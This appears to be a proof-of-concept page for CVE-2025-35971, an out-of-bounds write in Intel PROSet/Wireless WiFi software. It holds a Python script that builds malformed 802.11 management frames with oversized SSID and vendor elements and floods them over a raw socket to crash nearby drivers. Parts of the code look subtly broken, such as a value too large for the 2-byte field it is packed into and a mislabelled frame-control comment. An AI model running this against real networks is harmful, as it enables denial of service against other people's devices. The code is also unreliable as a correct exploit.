Intel PROSet/Wireless WiFi Software越界写入漏洞导致拒绝服务（CVE-2025-35971）

# CVE-2025-35971 PoC - Intel WiFi Driver Out-of-Bounds Write # This PoC demonstrates the vulnerability concept (DoS via malformed packets) # Note: This is for educational and authorized testing purposes only import struct import socket import sys def create_malformed_wifi_frame(): """ Create a malformed WiFi management frame to trigger the out-of-bounds write in Intel WiFi driver """ # Radiotap header radiotap = struct.pack('<BBHiIBBHII', 0x00, # version 0x00, # pad 0x0a000000, # length 0, # present flags 0, # pad 0x0000, # flags 0x0000, # rate 0x0000, # channel frequency 0x0000, # channel flags 0x00000000 # antenna signal ) # Malformed IEEE 802.11 frame header # Frame Control (2 bytes) + Duration (2 bytes) + 3 addresses (18 bytes) frame_control = struct.pack('<H', 0x0080) # Management frame, To DS duration = struct.pack('<H', 0x013a) # Target BSSID (spoofed) bssid = b'\xff\xff\xff\xff\xff\xff' # Source address (attacker) src_addr = b'\x00\x11\x22\x33\x44\x55' # Destination address dst_addr = b'\x66\x77\x88\x99\xaa\xbb' # Sequence control (2 bytes) seq_ctrl = struct.pack('<H', 0x0000) # Malformed information elements - trigger buffer overflow # SSID IE with oversized length field ssid_ie = b'\x00' # SSID tag number ssid_len = struct.pack('B', 0xFF) # Malicious oversized length ssid_data = b'A' * 255 # Data that will cause OOB write # Supported Rates IE rates_ie = b'\x01\x04\x96\x9c\x12\x24' # Rates tag # Tag number 255 (vendor specific) with excessive length vendor_ie = b'\xff' + struct.pack('B', 0xFF) + (b'\x00' * 255) # Combine all elements payload = (frame_control + duration + dst_addr + bssid + src_addr + seq_ctrl + ssid_ie + ssid_len + ssid_data + rates_ie + vendor_ie) return radiotap + payload def send_malicious_frames(interface='wlan0', count=100): """ Send malformed WiFi frames to trigger vulnerability """ try: sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 0) sock.bind((interface, 0)) malformed_frame = create_malformed_wifi_frame() print(f"[*] Sending {count} malformed frames on {interface}") print(f"[*] Frame size: {len(malformed_frame)} bytes") for i in range(count): sock.send(malformed_frame) if i % 10 == 0: print(f"[*] Sent {i} frames...") print(f"[+] Completed sending {count} frames") sock.close() except PermissionError: print("[-] Error: Requires root privileges") sys.exit(1) except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == '__main__': print("CVE-2025-35971 PoC - Intel WiFi Driver OOB Write") print("WARNING: Use only in authorized testing environments") print("-" * 50) interface = sys.argv[1] if len(sys.argv) > 1 else 'wlan0' send_malicious_frames(interface, count=100)